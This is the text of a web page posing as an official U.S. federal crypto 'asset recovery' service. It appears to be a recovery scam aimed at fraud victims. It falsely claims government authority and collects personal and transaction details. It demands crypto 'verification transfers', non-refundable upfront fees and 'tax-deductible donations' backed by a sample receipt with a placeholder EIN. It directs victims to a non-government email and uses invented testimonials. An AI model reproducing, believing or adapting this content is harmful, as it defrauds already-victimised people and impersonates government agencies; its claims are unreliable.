U.S. Federal Anti-Fraud Asset Recovery | Official Government Website

U.S. Federal Anti-Fraud Asset Recovery

In Fiscal Year 2023, the U.S. Federal Government deployed advanced data analytics and intelligence methods to identify and recover over $3.7 billion in fraudulent digital assets. For official announcements and detailed recovery statistics, please visit our Treasury Press Releases.

This website is an official Federal resource dedicated to ensuring prompt and equitable restitution for affected individuals. All recovery procedures comply with applicable Federal law and regulatory oversight. For further guidance, please refer to the CFTC Regulatory Guidance.

Office of Customer Education and Outreach (OCEO) Senior Staff

We are a dedicated group of federal specialists committed to safeguarding your assets.

Melanie T. Devoe

Director, Customer Outreach

Dan Rutherford

Associate Director, Customer Outreach

Lynda F. Williams

Chief Customer Risk Officer

Vivienne G. Anderson

Managing Director, Digital Investigations & Cyber Defense and Chief Security Officer

Match Recovery Funds

Overview: Access authoritative resources to identify and match victims’ lost crypto assets with federally secured, recovered funds.

Whistleblower Program

The Whistleblower Office strongly advises submitting all relevant forms through this site’s online portal and by email (whistleblower@cftc.gov). For tips unrelated to crypto fraud, please visit Whistleblower.gov or call (1-844-872-4681).

Submit a Whistleblower Tip

Cryptocurrency Transaction Tracker & Investigation

Official Statement & Disclaimer: All transaction data displayed by this tool is provided for reference only and does not constitute Federal investment advice or guarantee of recovery. By using this tool, you agree to our Terms of Use regarding the scope of information and associated disclaimers.

Official Notice: This tool is an official Federal resource. Enter a valid digital wallet address to retrieve detailed transaction data and view an interactive 3D visualization of the transaction network. Data displayed herein must be cross-referenced against Federal reports.

Please enter a valid wallet address.

Time Order: Amount: Direction:

Time	Transaction ID	From	To	Amount	Status	Fee	Risk Label

Address Profile & Risk Score

Disclaimer: The risk score provided herein is a preliminary Federal metric for evaluative purposes only.

Investigation Report

Official Notice: This report is generated pursuant to Federal guidelines and reflects asset transaction data under Federal custody. It is intended for preliminary analysis only.

Privacy Policies & FOIA Request Guidelines

We are committed to safeguarding all personal information collected throughout the asset recovery process. Below is a summary of key privacy and FOIA points:

Privacy Act Compliance: All user data is stored and processed under strict federal privacy regulations. We only request information necessary for official procedures and investigations.
Information Security Measures: Encrypted channels, multi-factor authentication, and limited personnel access ensure data confidentiality.
FOIA Requests: Users seeking disclosure of public records may submit a Freedom of Information Act request through our official channels. Sensitive details subject to protective orders or ongoing investigations may be redacted.
Data Retention: Information is retained for the minimum time required by federal law, after which it is securely archived or deleted.

Tracing the Origin on Blockchain

OFFICIAL NOTICE: The Federal Asset Recovery Service operates under strict Federal oversight to assist individuals whose blockchain assets have been compromised by fraud. Minimal verification transfers are implemented to confirm wallet ownership. For further verification, please contact gov@afconorthamerica.com.

This process is governed by Federal regulations and rigorous legal procedures designed to ensure transparency and accountability.

Submit Personal and Transaction Information Show

To initiate the Federal asset recovery process, please provide the following information (all data will be handled in strict confidentiality):

Full Name: As appears on official government-issued identification.
Contact Number: For secure SMS updates and communication.
Email Address: For official notifications and correspondence.
Transaction Details:
- Transaction ID (TxID): Detailed identifier from an authorized blockchain explorer.
- ERC-20 Token Type/Amount: Such as USDT or USDC, with exact figures.
- Source and Destination Addresses: Provide both the erroneous and intended wallet addresses.

Identity Verification Show

Following these steps ensures your identity and wallet address are legitimate:

Verification Transfer:
- Access an approved exchange or wallet service (e.g., Coinbase, Binance).
- Acquire a nominal amount of cryptocurrency (≤ $5) and send it to the designated federal verification address.
Confirmation Notice: A confirmation email is dispatched upon successful verification. If the verification fails, a resubmission may be required.

Rationale for Sending Cryptocurrency Show

Validate Wallet Ownership

Ensures the applicant legitimately controls the destination wallet address.
Mitigates fraudulent attempts by verifying transaction authenticity.

Assess Operational Aptitude

Verifies the applicant’s fundamental blockchain skills.
Reduces potential addressing or contract-compatibility errors.

Strengthen Compliance and Security (AML/KYC)

Applies multi-factor verification to prevent unauthorized requests.
Deters spam or bot applications by enforcing a small, verifiable transaction.

Align with Technical Standards

Confirms blockchain network compatibility.
Identifies potential contract misconfigurations early.

How We Recover Assets Show

Trace the path of compromised cryptocurrency using advanced analytics tools.
Establish the current holding address of the assets.
Transfer recovered tokens to a monitored federal intermediary wallet for further validation.

Asset Tracking Procedures Show

We adhere to rigorous Federal standards to guarantee security and transparency:

Utilization of Professional Blockchain Analysis

Platforms like Chainalysis, TRM Labs, Elliptic, and CipherTrace.

Tracing Illicit Crypto Flows

Collect and verify transaction data, including TxIDs.
Mark addresses and identify any suspicious or blacklisted addresses.

Confirm Holding Addresses

Survey recent transactions and possible suspicious activity.
Coordinate with exchanges when necessary to freeze illicit funds.

Recovery and Federal Custody

Implement lawful processes to retrieve or freeze identified assets.
Safeguard assets in a Federal intermediary wallet pending final verification.

Transfer of Funds to the User Show

Once verification concludes, recovered funds are dispatched to the user’s verified wallet, net of applicable fees.
The user receives:
- A successful transfer notification.
- A transaction hash (TxID) for independent verification via any blockchain explorer.

Fee Settlement and Completion Show

Fee Structure

Service Fee: 5% if recovered value > $100.
Network (Gas) Fees: Deducted from Ethereum or other network balances.

Transparency and Compliance

Applicants must prepay a minimal administrative fee.
A final bill enumerating all charges will be provided upon completion.

Completion Notice

Includes an official statement of the recovered amount, fees applied, and relevant TxIDs.

Potential Tax Benefits Show

Donations may qualify as allowable charitable contributions under IRS regulations...

Under $250: Bank statements or transaction records suffice.
$250 or above: An official receipt is required.
Non-cash donations: Must include a valuation statement.
Crypto donations: Must outline the USD value at the time of donation.

Important Notices and Legal Disclaimer Show

Scope of Application

Services apply solely to specified ERC-20 tokens and networks.

Processing Times

Unforeseen delays may arise from network congestion.
No guarantee of full recovery, but best efforts are provided.

Legal Liability

Applicants must ensure the accuracy of provided data.
No liability is assumed for user errors or external disruptions.

Donation & Verification

Security Note: All donations and verification steps occur under Federal supervision to confirm user identity and wallet ownership.
Tax & Compliance: Proper receipts will be issued in accordance with IRS guidelines, ensuring the legality of donation deductions and use in potential audits.

Select Cryptocurrency: Wallet Address: QR Code (Generated via qrcodejs2):

Donation Amount (USD):

For donations exceeding $250, an official receipt will be provided for IRS and Federal record compliance.

U.S. Federal Anti-Fraud Operations

IRS Tax-Deductible Donation Receipt

This official receipt confirms your donation to support our ongoing asset recovery initiatives in strict compliance with Federal and IRS regulations.

Receipt Number: REC-20250119-1234

Amount Donated: $500

Date of Donation: January 19, 2025

Donation Method: Cryptocurrency

Cryptocurrency Name: Bitcoin (BTC)

Cryptocurrency Amount: 0.01 BTC

Wallet Address: bc1q2w8ssfud2kmk...

Tax Compliance Statement:

This receipt confirms that U.S. Federal Anti-Fraud Operations is recognized as a qualified entity under Section 501(c)(3) of the Internal Revenue Code (EIN: 12-3456789). For official verification, please refer to the IRS Exempt Organization Search.

No services or goods were exchanged in return for this donation; this receipt is issued solely for compliance purposes.

For further inquiries, please contact: support@usa.gov

Authorized Signature:

Verification: Please visit www.usa.gov/verify-receipt and enter your receipt number for confirmation.

Disclaimer: This receipt is issued solely for Federal recordkeeping purposes and does not constitute a guarantee beyond Federal regulatory compliance.

Privacy Notice: All donor data is handled in strict adherence to Federal privacy standards. For details, please review our Privacy Policy.

Donation Receipt Policy

For donations exceeding $250, an official receipt will be generated in accordance with IRS and Federal guidelines. The receipt includes:

Donor’s full name
Date and amount of donation
Confirmation that no goods or services were provided in exchange

The receipt will be electronically transmitted to the official processing email: gov@afconorthamerica.com.

Official Advice from Recovery Successes: Asset Protection Made Clear

In accordance with Federal transparency and accountability standards, this website periodically selects a representative sample of victims whose assets have been successfully recovered through official Federal efforts. These verified testimonials are published for informational purposes only and are intended to illustrate the effectiveness of our recovery procedures. If you wish to participate or submit your own testimony for potential publication, please contact our Federal Recovery Office via email at gov@afconorthamerica.com.

Official Statement: Federal Purpose, Legal Basis and Disclaimer Show

In strict accordance with the Freedom of Information Act (FOIA) and the Privacy Act, this website publishes verified testimonials from individuals assisted through Federal asset recovery efforts. All testimonials are carefully reviewed to ensure compliance with Federal guidelines and the protection of personally identifiable information.

Legal Basis and Compliance:

FOIA Compliance: Federal agencies are mandated to ensure transparency through public disclosure of key service information.
Privacy Act Compliance: All published testimonials are obtained with the express consent of the individuals and processed in accordance with the Privacy Act.
Federal Enforcement: This section is maintained under strict Federal oversight to guarantee accuracy and relevance.

Disclaimer:

The testimonials provided are for informational purposes only and do not guarantee identical results. Individual outcomes may vary based on specific circumstances and Federal regulatory processes.

Below are statements from individuals who successfully recovered digital assets through authorized programs overseen by Federal agencies.

Recovered Asset Case 1:

“I still remember the thrill I felt when I first saw the returns from that so‑called ‘investment’—it was like a dream come true. But then, as quickly as it started, the withdrawals stopped. They kept telling me to ‘invest a little more’ to unlock my funds, and I believed them, desperately hoping to fix the situation. Eventually, it hit me: I had been conned. I was angry at them, but mostly, I was angry at myself. I didn’t know who to trust anymore.

When I found a resource about recovering funds, I was skeptical. I thought, ‘This can’t be real. I’ve been scammed once; am I really going to open myself up to that again?’ But I decided to give it a shot. Over time, as they kept me informed, my skepticism began to soften. And then one day, I saw my account balance—it was real. The funds I’d thought were gone forever were back. I felt like I was finally waking up from a nightmare.”

Recovered Asset Case 2:

"The feeling of being duped left me isolated. I kept it a secret, even from my family. I wondered, ‘How could I have been so naïve?’ For weeks I avoided the subject, until I discovered recovery options.

Although hesitant at first, the detailed updates and eventual confirmation that my funds were restored gave me hope. The process wasn’t instant, but the recovery notification was a relief I had been longing for."

Recovered Asset Case 3:

"At first, the investment promised extraordinary returns. When withdrawals ceased and communications stopped, I realized I had been defrauded. The recovery process was slow and filled with uncertainty. However, after a rigorous verification process, my assets were recovered. This outcome restored my confidence in our Federal system."

Official Query & Recoverable Funds Plan

This official service enables verification of asset status under Federal custody and provides a comprehensive feasibility assessment for asset restitution. All processes are conducted in strict adherence to Federal law and regulatory guidance.

1. Preliminary Query & Official Report Show

Scope: Comprehensive search of Federal databases to match recovered illicit funds with reported losses, cross-referencing wallet addresses, transaction IDs, and applicant data.
Outcome:
- An "Asset Confirmation Notice" is issued upon verification of matching records.
- An "Feasibility Report" is provided if no matching records are found.
Official Report: Officially signed and sealed documents available upon request for Federal verification.
Fee: A non‑refundable Preliminary Query Fee of $200 is applicable.
Timeframe: Processing typically requires 7–14 business days.
Disclaimer: The report reflects the status of assets currently under Federal custody only.

2. Recovery Plan & Verification Process Show

Scope:
- Confirmed Holdings: Official Recovery Plans for assets already secured by Federal agencies.
- No Holdings Found: Detailed investigative blueprints using advanced blockchain analytics.
Outcome:
- Step‑by‑step Federal guidance for asset claims.
- Supplementary investigations for additional unaccounted funds.
Fee Structure:
- Verification Fee: $300
- Success Fee: 5% of the recovered amount
- Additional Charges: May include court filings, attorney fees, and network costs.
Legal & Compliance: All processes adhere to Title 31 U.S.C., Anti‑Money Laundering (AML)/Know Your Customer (KYC) requirements, and other applicable Federal statutes.
Disclaimer: Recovery is subject to Federal procedures and third‑party cooperation; absolute recovery cannot be guaranteed.

3. Additional Official Statements Show

Refund & Upgrade Policy:
Fees are ordinarily non-refundable post-initiation of the process. If the case extends beyond the original plan scope, an upgraded fee arrangement may be required.

Partial or Ongoing Disbursements:
If a fraction of the claimant’s funds is identified, restitution is made for that fraction, net of fees. Additional steps may be undertaken to locate further unaccounted assets.

Updated Fee Table

Fee Items	Conditions for Collection	Description	Amount/Rate	Refundable
Application / Registration Fee (Application Fee)	Incurred at initial submission	Administrative & management costs	$100 (one-time)	Non-refundable
Investigation / Processing Fee (Investigation Fee)	Upon commencement of blockchain analysis	Covers investigative tools and labor	$300 (one-time)	Partially refundable ($150 if in-depth analysis is infeasible)
Success Commission (Success Fee)	After successful recovery	Applies to subsequent resources required for finalization	5%–10% of recovered amount	N/A
Blockchain Network Fee (Network/Gas Fees)	When on-chain operations are executed	Gas fees (variable in real time)	Varies	Non-refundable
Legal Services / Attorney Fees (Legal Services)	Applicable if court involvement is required	Case-by-case or hourly billing	Varies	Not billed if not utilized

OFFICIAL NOTICE: All submissions must originate from an address verifiably associated with the applicant, in strict accordance with Federal anti‑fraud protocols. Non‑compliance may result in delays or rejection.